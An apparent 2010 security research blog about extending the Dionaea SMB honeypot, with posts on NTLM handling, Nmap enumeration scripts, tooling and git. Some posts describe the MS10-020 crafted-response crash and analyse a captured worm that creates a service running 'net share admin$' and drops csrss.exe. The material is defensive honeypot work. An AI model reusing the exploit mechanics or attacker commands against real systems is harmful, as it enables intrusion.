Different between NTLMv1 and NTLMv2

In Metasploit source, we can see the clear difference between NTLM and NTLMv2, is about the self.challenge key and self.extended_security flag. This can be observed during the negotiate protocol process, where the server will response with SMB Negotiate Protocol response. From this response, we can check the existence of challenge_key or the extended_security flag.


# Authenticate and establish a session

----def session_setup(*args)
--------if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
------------if (self.challenge_key)
----------------return self.session_setup_ntlmv1(*args)
------------end
------------if ( self.extended_security )
----------------return self.session_setup_ntlmv2(*args)
------------end
--------end
--------return self.session_setup_clear(*args)
----end

Too bad blogspot cant display the spacing well and I need to replace it with --- arghh..

Metasploit /lib/rex/proto/smb/client.rb

Saturday, July 31, 2010

MS10-020 Vulnerabilities in SMB Client

Recently I try to search and study more on SMB protocol vulnerability, the intention is to include these vulnerability support to Dionaea. And, I came across this most recent vulnerability that that reported in Microsoft Bulletin : MS10-020 Critical Vulnerabilities in SMB Client Could Allow Remote Code Execution.

From the Security Bulletin, it stated :

"The vulnerabilities could allow remote code execution if an attacker sent a specially crafted SMB response to a client-initiated SMB request. To exploit these vulnerabilities, an attacker must convince the user to initiate an SMB connection to a specially crafted SMB server. "

I found a detailed full disclosure on http://seclists.org/fulldisclosure/2010/Apr/201 and the POC has provided in http://g-laurent.blogspot.com/2010/04/ms10-020.html

A Windows7 clean images has setup in my VM, and the POC has initiated in another Ubuntu images. This POC will served as the simple crafted SMB server which will reply only this few request before the problematic Trans2 response:

a.Negotiate Protocol Response
b.Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED
c.Tree Connect AndX Response
d.NT Create AndX Response, FID: 0x4000

After answer to these request, it crafted the SMb Trans2 Response, QUERY_FS_INFO, with appends 8 additional bytes at the end of the packet and an incorrect "Data Offset" field as 0xffff. This additional bytes is BBBBAAAA, which can be replaced further by EBP and EIP.

The normal SMB_COM_TRANSACTION2 Server Response Format:
Server Response Description
================ ============
UCHAR WordCount; Count of data bytes; value = 10 + SetupCount
USHORT TotalParameterCount; Total parameter bytes being sent
USHORT TotalDataCount; Total data bytes being sent
USHORT Reserved;
USHORT ParameterCount; Parameter bytes sent this buffer
USHORT ParameterOffset; Offset (from header start) to Parameters
USHORT ParameterDisplacement; Displacement of these Parameter bytes
USHORT DataCount; Data bytes sent this buffer
USHORT DataOffset; Offset (from header start) to data
USHORT DataDisplacement; Displacement of these data bytes
UCHAR SetupCount; Count of setup words
UCHAR Reserved2; Reserved (pad above to word boundary)
USHORT Setup[SetupWordCount]; Setup words (# = SetupWordCount)
USHORT ByteCount; Count of data bytes
UCHAR Pad[]; Pad to SHORT or LONG
UCHAR Parameters[ParameterCount]; Parameter bytes (# = ParameterCount)
UCHAR Pad1[]; Pad to SHORT or LONG
UCHAR Data[DataCount]; Data bytes (# = DataCount)

This crafted response can be seen clearly from the screenshot


Windows 7 crashes and it need startup repair after that. The POC works!


This POC can only be triggered at SMB client side, with the crafted response packet from the SMB Server. So, till now I guess this vulnerability won't suitable to include in Dionaea, as Dionaea should alway acts as a legitimate SMB server. Let see then.

I more curious about how this type vulnerability can be found, simply by luck or series of fuzzing?

Thursday, July 29, 2010

Analysis of 12fb...c640

After commit several changes for the SMB RPC struct to Dionaea project, I found this capture yesterday and it adopted the struct that I committed. From Dionaea blog http://carnivore.it/2010/06/19/the_story_of_7867de...3e33e7, I guess I meet the variant of the piecework.

Part 1 :
With the logfile as here, the attacking process can be analysed as below:

1. [192.168.1.99:445->90.183.XX.XXX:2548] state: none->established
2. SMB Negociate Protocol Request
3. SMB_Negociate_Protocol_Response
4. SMB Sessionsetup ESEC AndX Request, with NTLMSSP security blob
5. SMB Sessionsetup ESEC AndX Response, with NTLMSSP security blob
6. SMB Sessionsetup ESEC AndX Request ( NTLM Authenticate )
7. SMB Sessionsetup ESEC AndX Response
8. SMB Treeconnect AndX Request
- Make connection to \\60.51.XX.XX\IPC$
9. SMB_Treeconnect_AndX_Response
10.SMB NTcreate AndX Request
- pipe samr
11.SMB_NTcreate_AndX_Response
12.SMB Trans Request / DCERPC_Header / DCERPC_Bind
- TransferSyntax = 8a885d04-1ceb-11c9-9fe8-08002b104860
- UUID = 12345778-1234-abcd-ef00-0123456789ac
- Accepting Bind for samr
13.SMB_Trans_Response
13.SMB Trans Request
- Calling samr Connect4 (3e)
- opnum: (int) 62
14.SMB_Trans_Response
15.SMB Trans Request
- Calling samr EnumDomains (6)
- opnum: (int) 6
16.SMB Trans Response
17.SMB Trans Request
-Calling samr LookupDomain (5)
-opnum: (int) 5
18.SMB_Trans_Response
19.SMB Trans Request
-Calling samr OpenDomain (7)
-opnum: (int) 7
20.SMB Trans Response
21.SMB Trans Request
-Calling samr EnumDomainUsers (d)
-opnum: (int) 13
22.SMB Trans Response
23.SMB Trans Request
-Calling samr Close (1)
-opnum: (int) 1
24.SMB Trans Response
25.SMB Trans Request
-Calling samr Close (1) (I not sure why the attacker repeat the samr Close process twice)
-opnum: (int) 1
26.SMB Trans Response
27.SMB Close
28.SMB Close
29.SMB Tree Disconnect
30.SMB Tree Disconnect

Until now, another line that catch my eye:
[28072010 22:11:01] logsql dionaea/logsql.py:423-info: reject connection from 90.183.XX.XX:3171 to 192.168.1.99:139 (id=104279)
The connection rejected since Dionaea is not support the Netbios protocol which run on port 139.

Again, the attacker tried to connect to port 445 again, after the failure on port 139.
[28072010 22:11:02] connection connection.c:3654-message: connection 0x983a8e0 accept/tcp/none [192.168.1.99:445->90.183.XX.XX:3170] state: none->established

Part 2 :
The attacker continue the process :
1.SMB Negociate_Protocol_Request
2.SMB Negociate Protocol Response
3.SMB Sessionsetup ESEC AndX Request, with NTLMSSP security blob
4.SMB Sessionsetup ESEC AndX Response, with NTLMSSP security blob
5.SMB Sessionsetup ESEC AndX Request (NTLM Authenticate)
6.SMB Sessionsetup ESEC AndX Response
7.SMB Treeconnect AndX Request
-\\60.51.XX.XX\IPC$
8.SMB Treeconnect AndX Response
9.SMB NTcreate AndX Request
10.SMB NTcreate AndX Response
-pipe \svcctl
11.SMB NTcreate AndX Response
12.SMB Trans Request
-Accepting Bind for SVCCTL
-uuid: (string) 367abb81-9844-35f1-ad32-98f038001003
-transfersyntax: (string) 8a885d04-1ceb-11c9-9fe8-08002b104860
13.SMB Trans Response
14.SMB Trans Request
-Calling SVCCTL OpenSCManagerA (1b)
-opnum: (int) 27
15.SMB Trans Response
16.SMB Trans Request
-Calling SVCCTL CloseServiceHandle (0)
-opnum: (int) 0
17.SMB Trans Response
18.SMB Trans Request
-Calling SVCCTL OpenSCManagerA (1b)
-opnum: (int) 27
19.SMB Trans Response
20.SMB Trans Request
-Calling SVCCTL CreateServiceA (18)
-opnum: (int) 24
-From the StubData, it try to create a service "Windows Genuine Logon Manager" that link to cmd.exe /c "net share admin$"
21.SMB Trans Response
22.SMB Trans Request
-Calling SVCCTL CloseServiceHandle (0)
-opnum: (int) 0
23.SMB Trans Response
24.SMB Treeconnect AndX Request
-\\60.51.XX.XX\ADMIN$
25.SMB Treeconnect AndX Response
26.SMB NTcreate AndX Request
-FileName : \csrss.exe

Til this stage, Dionaea has reported the download link for the pieces
[28072010 22:11:07] incident incident.c:203-debug: url: (string) smb://90.183.XX.XX/csrss.exe
[28072010 22:11:07] SMB dionaea/smb/smb.py:326-info: OPEN FILE! csrss.exe

27.SMB NTcreate AndX Response
28.SMB Trans2 Request
-Setup = [TRANS2_SET_FILE_INFORMATION]
29.SMB Trans2 Response
30. 2 alert triggered as below:
[28072010 22:11:08] SMB dionaea/smb/smb.py:94-critical: === SMB did not get enough data
31.SMB Write AndX Request
- The file has started download
- Remaining = 57344
- ByteCount = 4033
- From the Data field, it show the file start with b'MZ\x90\x00\x03\x00\x00\x00\...This program cannot be run in DOS mode.\r\r\n$\x00\x00\x00\......x00\x00\x00\x00\x00'"
- We can conclude that it is a PE file, and the filesize is 57344bytes.
31. [28072010 22:11:08] SMB dionaea/smb/smb.py:362-warning: WRITE FILE!
32.SMB Write AndX Response
33. 2 alert triggered as below:
[28072010 22:11:08] SMB dionaea/smb/smb.py:94-critical: === SMB did not get enough data
34.SMB Write AndX Request and SMB Write AndX Response has until the file transfer finish
- It totally transfer 57344 bytes, which is 4030 bytes at the 1st attempt, following by 13 attempt of 4032 and the last attempt is 898 bytes.

Part 3

After the file transfer is completely done :
1.SMB Trans2 Request
-Setup = [TRANS2_SET_FILE_INFORMATION]
2.SMB Trans2 Response
3.SMB Close
4 The bistream has recorded in path: (string) /opt/dionaea/var/dionaea/binaries/smb-QsOzHt.tmp
5.Here the file that downloaded
[28072010 22:11:14] incident incident.c:203-debug: file: (string) var/dionaea/binaries/12fb7332920a7797c2d02df29b57c640
[28072010 22:11:14] incident incident.c:203-debug: md5hash: (string) 12fb7332920a7797c2d02df29b57c640
6. The file has uploaded to Anubis,Norman and luigi.informatik.uni-mannheim.de for analysis
7. SMB Close

Part 4

The attacker continue after the file has downloaded by Dionaea,
1.SMB Trans Request
-Calling SVCCTL OpenSCManagerA
-opnum: (int) 27
2.SMB Trans Response
3.SMB Tree Disconnect
4.SMB Tree Disconnect
5.SMB Trans Request
-Calling SVCCTL CreateServiceA (18)
-opnum: (int) 24
-The attacker hope to create a new service as "Microsoft Windows Genuine Updater" with the path "%SystemRoot%\\csrss.exe\"
6.SMB Trans Response
7.SMB Trans Request
-Calling SVCCTL CloseServiceHandle (0)
-opnum: (int) 0
-SMB Trans Response
8. Upload to 3 Sandbox has completed.

There are a few SMB_Echo packet along the way, I decided to drop it off and only focus to these several connection. The attack first seen from [28072010 22:10:55], end at [28072010 22:11:24], overall duration is 29 seconds

Analysis done :)


Note: I found that my dionaea has showed this message and it halt after the overall process, is a bug or random error?
[28072010 22:11:25] thread threads.c:90-critical: Threadpool is crowded 4/2, suspending *all* activity

Sunday, July 18, 2010

Mid-term of Dionaea project

It has reached the mid-term evaluation of the Google Summer of Code 2010. I glad that it is a nice learning curve for me and my work has improved Dionaea features from time to time. This could be a good way to take note about my progress for the past 8 weeks til today, before I forgot.

My work simply more focus on the smb rpc stack improvement as this is the lack-off part for Dionaea. Here the summary of the progress :

Prior to week 1
We have seen that some malware will try to propagate with ipc connection. It is crucial for Dionaea to support these IPC sessions, such as response to the ipc connection, network sharing enumeration and addition, user enumeration and file copying across the network.

Done
- Intensive reading for theory
- POC for ipc connection, share and user enumeration, share addition and file copying

Week 1 (24-30 May)
- Support for several RPC SRVSVC calls has added
- The ipc connection and user enumeration worked.
- For the network share enumeration, Dionaea has support the SRVSVC SHARE_INFO_1 struct which can be tested with smbclient. I have added the support for SHARE_INFO_502 struct for the detailed network enumeration

Week 2 (31-6 June)
- Support for network share addition and file copy over the network functions have done.
- SRVSVC SHARE_INFO_2 struct has added as it is needed for NetShareAdd. For now, Dionaea may support SHARE_INFO_1, 2 and 502.

Week 3 (7-13 June)
- Receive and study the beauty code of RPC call by Markus.
- Made change of the original 'ugly and raw' code implementation of the past 2 weeks.

Week 4 (14-20 June)
- Code cleaning has done, as several classes for RPC SAMR and SRVSVC have added. This classes have made the further SAMR and SRVSVC support easier as the classes have reused in several handler.
- NDR support for RPC_UNICODE_STRING has added

Week 5 (21-27 June)
- Start moving in to work on Dionaea support for NMAP NSE. The main focuses is smb-enum-users.nse and smb-enum-shares.nse.
- several SAMR and LSARPC classes added
- smb-enum-user.nse support has completed

Week 6 (28-4 July)
- Continue the Dionaea support for NMAP NSE
- SRVSVC SHARE_INFO_0 support has added as it is needed to response correctly for smb-enum-shares.nse. Up to now, Dionaea able to support SHARE_INFO_0,1,2 and 502 struct
- smb-enum-shares.nse and smb-enum-domains.nse done

Week 7 (5-11 July)
- Add the part for NTLM authentication without OID
- Add the ASN BER identifier encoding function which is used to construct the SecurityBlob of NTLMv2 authentication
- Dionaea repo has encountered faulty merge as conflict happened between different commits. Revert the reverted merge solve the problem . Nice reference
http://www.kernel.org/pub/software/scm/git/docs/howto/revert-a-faulty-merge.txt

Week 8 (12-18 July)
- Start work on dionaea support for metasploit exploit
- Determined the msf OS fingerprinting method
- Dionaea can support and response well to metasploit ms08-067 exploit, with the correct OS type and language fingerprint


More to go for the coming weeks..

Sunday, July 4, 2010

Dionaea : bind_bottom_up and bind_top_down

Dionaea has ported with Scapy stack for the packet disectation and smb implementation. In dionaea code smb.py, there are some bind_bottom_up() and bind_top_down() function which dealing the SMB_HEADER layer and other underlying layer. This 2 function is important as it will lead to the layer stack over with each other by manipulating the correct parameter.

Example of these function in Dionaea,

bind_bottom_up(SMB_Header, SMB_Negociate_Protocol_Response, Command=lambda x: x==0x72, Flags=lambda x: x&0x80)

I always confuse with the different between both usages. And here i found a nice documentation and explaination in Scapydoc from secdev.

bind top down
bind top down(lower, upper, fval)
Informs upper layer that, when stacked on lower, it must overload lower’s
fields whose names are the keys of the fval dictionnary with their associated
values.

bind bottom up
bind bottom up(lower, upper, fval)
Informs lower layer that, when dissected, if all of its fields match the fval
dictionnary, the payload is upper

Monday, June 28, 2010

Dionaea : Patch needed for Nmap nse

For Dionaea to parse the Nmap NSE well, a simple patch need to apply to Nmap. This is due to the reason that Nmap has fixed the "Alloc hint" value in the DCE_RPC request packet. Dionaea need this value to parse the following StubData.

For the moment, there is no any official changes from Nmap. We need make this simple change manually in /nselib/msrpc.lua

Here the diff
http://p.carnivore.it/PPR9d2

Thank Markus to the patch

SMB script in Nmap Scripting Engine (NSE)

Nmap Scripting Engine (NSE) is one of the powerful features of Nmap. In default installation, Nmap contain quite big numbers of NSE script that useful for almost all the scanning and reconainsence purpose. It can be easily use with the switch --script when execute the Nmap. Example:

$nmap -sT -v --script=smb-enum-shares.nse -p445 192.168.1.2


For Week5 in GSOC project, I play with this nse with a fresh Windows XP images. The original setting in WinXP as below :

Local Policies : Security Options
Account : Guest account status = Disabled

Network access : Sharing and securiy model for local accounts = Guest only - local users authenticate as Guest

User Rights Assignment
Deny access to this computer from network = SUPPORT_388945a0, Guest


Result :
I have use 2 nse which is smb-enum-users and smb-enum-shares for the scannig purpose.
1. With default WinXP setting, the smb-enum-users scanning will not obtain any result, but the smb-enum-shares return nicely.


2. With the modification in User Right Assignment, i remove the "Guest" in parameter "Deny access to this computer from network", both nse scanning result still the same as Test 1.

3, After I activate the Guest account in the XP images, it made the difference! smb-enum-user return the user account and smb-enum-shares return the shares same as Test 1 and Test 2.

4. Once I add the Guest to Administrators group, more details has shown, including description, commens, etc.



Done!

Sunday, June 20, 2010

SAMR4 and SAMR5

Quote from
http://msdn.microsoft.com/en-us/library/fa61e5fc-f8fb-4d5b-9695-c724af0c3829%28v=PROT.10%29#id13

<13> Section 2.2.3.15: There is no supported configuration in which Windows servers of this protocol (for example, a DC) return nonzero values for the SupportedFeatures field. However, Windows clients running Windows XP, Windows Vista, and Windows 7 are implemented to behave as specified earlier. For example, after calling SamrCreateUser2InDomain (section 3.1.5.4.4), Windows NT 4.0–style client applications assume that the RID returned by SamrCreateUser2InDomain can be concatenated with the domainSID in which the user was created to obtain the SID of the newly created user. This assumption limits the server's ability to create SIDs that differ in format from this assumption, and thus limits the number of accounts ever created to 2^32 (the maximum size of an unsigned integer, which is the datatype of a RID). For more information about the extensible structure of SIDs, see [MS-SECO] section 2.3.

To allow servers (in future implementations) to generate SIDs such that the RID is not an unsigned integer (for example, a 64-bit value), the SupportedFeatures value of 1 specifies to the client that the SamrRidToSid method must be called to obtain the SID of a RID value returned from this protocol. In this scenario, the RID returned from the protocol is modeled as a "handle" to the account that SamrRidToSid uses to return the SID value.

win2k - RID --> SamrRidtoSid --> SID
Samr Connect 4 ( SupportedFeatures = 1)

winxp, vista, win7 - no SamrRidtoRid
Samr Connect 5 ( SupportedFeatures = 0)

Thursday, June 17, 2010

SAMR and SRVS support for Dionaea

SAMR - Security Account Manager Remote protocol

According to MSDN site, the goal of this protocol is to enable IT administrators and end users to manage users, groups, and computers. The object-based perspective shows that the protocol exposes five main object abstractions: a server object, a domain object, a group object, an alias object (an "alias" being a type of group), and a user object. A client obtains a "handle" (an RPC context handle) to one of these objects and then performs one or more actions on the object.

The method-based perspective is used to show a common set of operations for each object type. The operations fall into patterns. For example, Open Pattern need to specify a specific access for the handle in the request, and using the returned handle to call other methods that require the returned handle along with the associated access.

Example of the SAMR call :

The call sequence from the client appears as follows (with the parameter information removed for brevity):

(a) Send a SamrConnect5 request; receive the SamrConnect5 reply.

(b) Send a SamrOpenDomain request; receive the SamrOpenDomain reply.

(c) Send a SamrSetInformationDomain request; receive the SamrSetInformationDomain reply.

(d) Send a SamrCloseHandle request; receive the SamrCloseHandle reply.

(e) Send a SamrCloseHandle request; receive the SamrCloseHandle reply.


SRVS-Server Service Remote Protocol

From MSDN. it is a remote procedure call (RPC)–based protocol that is used for remotely enabling file and printer sharing and named pipe access to the server through the Server Message Block (SMB) Protocol. It is designed for remotely querying and configuring a Server Message Block (SMB)server on a remote computer. By using this protocol, a client can query and configure information on the server such as active connections, sessions, shares, files, and transport protocols. The standard assignments for the Pipe name is \PIPE\srvsvc

For malwares, that is a lot cases where it will make a IPC$ connection to the target, enumerate user,share, then brute force with the common username and passwd. Agrobot served as the best example http://www.ca.com/us/securityadvisor/virusinfo/virus.aspx?id=37776

To handle these connection with Dionaea, it need to support SAMR and SRVS protocol. Several SAMR methods is necessary such as

a. Connect4 or Connect5
b. EnumDomains
c. LookupDomain
d. OpenDomain
e. EnumDomainUsers
f. Close


And, 2 SRVS protocol menthods need to be added for the network share enumeration and addition:
a. NetshareEnumAll
b. NetShareAdd

For the past 3 weeks from the official GSOC coding date, I managed to commit some codes to made this SAMR and SRVS methods support. And now, Dionaea is able to handle these few methods well.

To do: code quality improve and move to next features!

Link:
http://msdn.microsoft.com/en-us/library/cc245482%28v=PROT.13%29.aspx

Commit:
http://src.carnivore.it/dionaea/commit/?id=9e68bb24717068531e88f4a97c100e91dbc2b1a3

Sunday, May 23, 2010

smbclient to Dionaea

To test the Dionaea SMB Share Enumeration function, I used smbclient connect to Dionaea with

smbclient -L \\localhost


Error happened all the time as the message error has showed the empty sharing list.


And, if make the put file connect with smbclient, it showed the file transfer successfully.

smbclient '\\localhost\test'


The solution for this problem is simple. I found that the smbclient version in my Ubuntu is 2:3.4.0-3ubuntu5.0. When I upgrade it to 2:3.4.0-3ubuntu5.6, the problem solved. Now i manage get the Share Enumeration correct which provided in handle_NetShareEnum.


Move on.

Thursday, May 13, 2010

Dionaea new XMPP features - sample live sharing

As committed by Markus today, the Dionaea XMPP has added a new feature : Sample Live Sharing. Previously, the purpose of the XMPP implementation in Dionaea wish to create the distributed network and setup for the captured data. Multiple parties can run Dionaea sensor and multiple parties can run the backend for specified purpose such as data logging, data analysis, data collection and etc.

For me, the new "Sample Live Sharing" feature will be a cool idea to go. Usually single sensor captures the malware piece if the attack has triggered. Yet the amount of the capture is limited and the capture has bounded to a small scale network. For research or education purpose, distributed sample sharing network will be a great boast and a huge collection of sample can be obtained. This new features has fit the purpose.

Every sensor that joins the xmpp channel will shares its captured sample with others. The file will be streamed to the channel and other sensors may download it and store in their own local machine. There is no any central repository for the malware storage as all sample sharing is a live stream. once the sample has downloaded to the sensor's machine, further process can be executed such as send to Sandbox for further analysis

To get my feet wet with the feature, I connected my xmpp client Psi to Dionaea XMPP Server sensors.carnivore.it.

Psi setting


Psi connect to XMPP server successfully

Service Discovery to find the Chatrooms. We can see how many sensor and non-sensor client such as Psi that connected to the server.

Alternative way to join the GroupChat by configuration. The setting below is to join the anon-files groupchat(channel)

Ideally if any Dionaea sensor has joined the channel, it will download the shared sample by live stream. But I get my non-Dionaea xmpp client Psi to join the channel, any sample sharing will be represented in base64 format data.

The screenshot here show a live sharing sample. The AAAAAAA buffer is the exploit code for certain buffer overflow.

As the sensor will join the channel in visitor role, the message that has sent to the server will not relay to own sensor for the bandwidth saving purpose. To see further data, we can use the XML console that provided by Psi.

Sunday, May 9, 2010

Git useful command

As the Google Summer of Code 2010 is on, I will used Git as this is the version control system for The Honeynet Project. I will strive hard to improve the low interaction honeypot - Dionaea for this coming few months.

By spent a day study about git, here i make a summary of the Git useful command list.

"Git is a distributed revision control system with an emphasis on being fast. Git was initially designed and developed by Linus Torvalds for Linux kernel development.

Every Git working directory is a full-fledged repository with complete history and full revision tracking capabilities, not dependent on network access or a central server.
" From Wikipedia

Git Useful Command

$git log
view the history of the commit

$git log HEAD
view the most recent commit

$git log HEAD~
view the previous commit

$git log HEAD~2
view the previous 2 commits back in history

$git log --since="2 weeks ago" --until="yesterday"

$git log -p -n 1 1275f994b
$git show 1275f994b
both command may view the actual patch content of each change

$ git log net/ieee80211/ieee80211_module.c
list the changesets belonging to a specific file

$git branch
view the branch
There is a default "master" branch in any git repository,"HEAD" which always refers to the current branch.

$git branch -r
view the remote-tracking branch

$git status
view all changes in working dir (not really show the actual change)

$git diff
to know the actual code changes that we have made to the files

$git diff HEAD
display changes since last commit

$git config --global user.name "Your Name"
$git config --global user.email "you@example.com"
set your name and email address

$git add
if new files need to be committed for the first time.

$git commit -a
commit the changes

$git commit --amend
amend the broken commit message

$git reset HEAD~2
make the last 2 commits dissapear

$git pull
pulling changes from the original repository

The "git pull" command shown in the previous section is conceptually the combination of two commands, "git fetch" and "git merge".

$ git fetch
Using "git fetch" and "git merge" let us achieve exactly what "git pull" did, but we were able to stop in the middle to examine the situation, (and we could have decided to reject the changes and not merge them---leaving our master branch unchanged).

Eg. The new changes have been "fetched" into the current repository and are stored into "origin/master" and have not been into the current "master" branch. This operation never changes any of our own branches and is safe to do without changing our working copy.

$git merge origin
Let's assume we are happy with the changes and we want to include them into our master branch, since we at the master branch for the moment.

$git merge "Merge work in mybranch" HEAD mybranch
merge the work from mybranch to the HEAD, with the message "Merge work in mybranch"

$git remote
pulling the change from any remote repository.
Example :
Let's assume you are going to be working in the new-remote repository and you'd like to pull changes from the new-pull repository, where your friend "fred" has been making changes
$cd new-remote
$git remote add fred ../new-pull
$git fetch fred

$git checkout 0a633bf5
checking out previous version

$ git checkout master
return back to the tip of the master by check out master branch

$ git push ../new-bare --all
pushing changes to another repository

$ git push ../new-bare
the --all can be omitted after the first time


When I try to update my repo with "$git pull", the terminal has showed the the error as below,

Git pull: error: Entry 'filename' not uptodate. Cannot merge.

It means means I have changes in my local files that haven't been committed to the local repository. The solution as these:

$git stash
$git pull
$git stash apply

It temporary puts your local changes into another place. Then you can pull, to grab the latest changes. And then you can get your local changes back.




Creating a new branches


$ git checkout -b mybranch
create a new branch based at the current HEAD position, and switch to it.

$ git checkout -b mybranch earlier-commit
start new branch at some other point in the history than the current HEAD,

$ git checkout master
Jump back to your original master branch

$ git branch [startingpoint]
create a new branch _without_ actually checking it out and switching to it

Merging 2 branches


$ git checkout mybranch
$ echo "Work, work, work" >>hello
$ git commit -m 'Some work.' -i hello

$ git merge "Merge work in mybranch" HEAD mybranch

Get the "upstream changes" back to your branch, if needed

$ git checkout mybranch
$ git merge "Merge upstream changes." HEAD master

Reference
A tour of git: the basics
http://cworth.org/hgbook-git/tour/

A short git tutorial
https://kernel.org/pub/software/scm/git-core/docs/v1.2.6/core-tutorial.html

Thursday, April 8, 2010

Flawfinder - Source code examiner tool

Flawfinder, nice source code examiner tool for security issues and vulnerability. It is a source code static analysis tool written by David Wheeler and it managed to detect several RealNetwork application flaw in year 2005. Even this happened quite a while ago, I believe that the tool has the real value and applicable for certain extent.

How it works?


As stated from the site http://www.dwheeler.com/flawfinder/, Flawfinder works by using a built-in database of C/C++ functions with well-known problems, such as buffer overflow risks (e.g., strcpy(), strcat(), gets(), sprintf(), and the scanf() family), format string problems ([v][f]printf(), [v]snprintf(), and syslog()), race conditions (such as access(), chown(), chgrp(), chmod(), tmpfile(), tmpnam(), tempnam(), and mktemp()), potential shell metacharacter dangers (most of the exec() family, system(), popen()), and poor random number acquisition (such as random()). The good thing is that you don't have to create this database - it comes with the tool.

Flawfinder then takes the source code text, and matches the source code text against those names, while ignoring text inside comments and strings (except for flawfinder directives).

Installation

Simple as normal.

gento@localhost~:$sudo apt-get install flawfinder

How to use?

gento@localhost~:$flawfinder directory-contain-sourcecode

The testing can be done with the offcial test.c

I have create a simple C program, to read input from stdio and output it to a temp.txt The code as below :

#include
#include

int main()
{
char *string_input;
int bytes_read;
int nbytes = 50;

FILE *fp;
char outputFilename[] = "temp.txt";
puts ("Coded by gento_");
puts ("Please enter the text. Your input will be stored in temp.txt : ");

string_input = (char *) malloc (nbytes + 1);
bytes_read = getline (&string_input, &nbytes, stdin);

fp = fopen(outputFilename, "w");

if (!fp)
{
puts ("ERROR : Cannot write to tmp.txt. Please check the folder and file permission ");
}

if (bytes_read == -1)
{
puts ("ERROR!");
}
else
{
puts ("The input that you typed:");
puts (string_input);
fputs(string_input,fp);
}

free(string_input);
fclose(fp);
return 0;
}

The test result of flawfinder as below :

Wednesday, April 7, 2010

Scapytain

Just come across a web application that enables you to store, organise and run test campaigns on top of Scapy : Scapytain. This tool may help to relief the pain to scapy-based testing. This can be used to build the SMB test bed for Dionaea, since Dionaea SMB stack is build on Scapy.

From the official site http://www.secdev.org/projects/scapytain/, some term we need to clear with :
Test
A small python snippet that can succeed (returns True or None) or fail (returns False or raises an exception)
Objective
A property you want to verify. The verification is done by one or more tests.
Test Plan
A set of objectives.
Test mean
A collection of equipments used for the tests. Each test mean can be given some initialization code that will be run before the tests so that test's implementation can be independant of things such as target IP addresses, etc.
Campaign
A set of test plans to run through.
Campaign run
One complete or partial run of all tests regarded by objectives in campaign's test plans.

I have installed Scapytain in my machine, and 1 dependencies which needed but not mention in the manual :

gento@localhost:~$sudo apt-get install python-trml2pdf

The test mean :
target="192.168.1.23"

The simple test code :

a=IP()/TCP()
a.src="192.168.1.10"
a.dst=target
a.sport=1122
a.dport=80
b=a/NBTSession()/SMBNegotiate_Protocol_Request_Header()
c=b/SMBSession_Setup_AndX_Response()
c
send(c)

The test result is Passed and my netcat which listen on port 80 has show the connection.

Monday, April 5, 2010

Dionaea XMPP function

Dionaea has used XMPP for the distributed sensor setup and secure messaging purpose. The implementation has code by Markus, the author of Dionaea and commited the overall code at Feb 2010. The configuration as shown :

Dionaea --> XMPP server (Prosody) --> Backend (Store the streamed data into disk or postgre)

The Dionaea sensor will act as the client connect to XMPP server. The sensor will auto-join the specific Groupchat channel which is "anon-events" and "anon-files". With the JABBER/XMPP client such as Psi joined the channel, we may obtain the dionaea event log from the distributed network. Love this idea very much.

I have try to setup XMPP server for local use. I followed the guideline which blogged by Markus http://carnivore.it/?btng[post][tags]=xmpp Several modification I have made to suit my local environment

Simple note :

1. Dionaea will only support for Legacy SSL in XMPP connection. Port 5223 must in listening state for the complete connection. Port 5222 which is the default XMPP port will not be the focus.

I found that the port 5223 not listening at first. After some simple modification, it appeared. The different of my prosody.cft.lua with the blogged as below :

////////////////////////////
Host "*"
-- neglected

ssl = {
key = "/opt/prosody//etc/prosody/certs/localhost.key";
certificate = "/opt/prosody//etc/prosody/certs/localhost.cert";
}

pidfile = "/opt/prosody/var/run/prosody.pid"
legacy_ssl_ports = { 5223 }

--neglected

Host "localhost"
-- Remove the following line to activate this host!
enabled = true -- This will disable the host, preserving the config, but denying connections

-- Assign this host a certificate for TLS, otherwise it would use the one
-- set in the global section (if any).
-- Note that old-style SSL on port 5223 only supports one certificate, and will always
-- use the global one.
ssl = {
key = "/opt/prosody/etc/prosody/certs/localhost.key";
certificate = "/opt/prosody/etc/prosody/certs/localhost.cert";
}


-- Set up a MUC (multi-user chat) room server on conference.example.com:
Component "dionaea.localhost" "muc"

/////////////////////////////////////////

2. My dionaea.conf as below :

logxmpp = {
/**
* this section defines a single xmpp logging target
* you can have multiple
*/
carnviore = {
server = "localhost"

/**
* as dionaea does not support starttls (xmpp on port 5223),
* we rely on 'legacy ssl' for the xmpp connection (port 5222)
*/
port = "5223"
muc = "dionaea.localhost"

/**
* if the server exists, this is a valid account
*/
username = "user@localhost"
password = "user"

3. In dionaea, the "logxmpp" in ihandler must enable for the XMPP support. This spend me quite some time to fix this before the sensor able connect to server.

4. My Psi setting


The end result of the success XMPP connection between sensor and server in GroupChat

To do : The debug info has filled all the terminal space. The polishing and slimming work should be continued.

Thank Markus for the help!

Sunday, April 4, 2010

Dionaea NTLMv2 support

As I know current Dionaea cannot support for NTLMv2 authentication, I have tried to make some changes to smb.py and smbfield.py. The test is done with Metasploit MS08-067 exploit as the exploit is use NTLMv2 authentication.

The current Dionaea may process until the stage of SessionSetup AndX Request,NTLMSSP_NEGOTIATE. The response is incomplete and Wireshark showed the negotiation stop there. This is due to the lack of NTLMv2 support.


After I make some changes, with the fixed security blob content (simple method as no need to deal with GSSAPI for the moment), the NTLM authentication of Metasploit MS08-067 exploit is successfully and the shellcode has delivered. Wireshark has showed the complete NTLM negotiation and further continue the TreeConnect AndX Request.


Dionaea showed shellcode has found and profiling has performed.


Metasploit showed the exploited has completed.


p/s : this method of modication actually breaking dionaea overall function and the modication only support for the NTLM negotiation with security blob. The purpose of the modication is for testing but not the applicable patch use.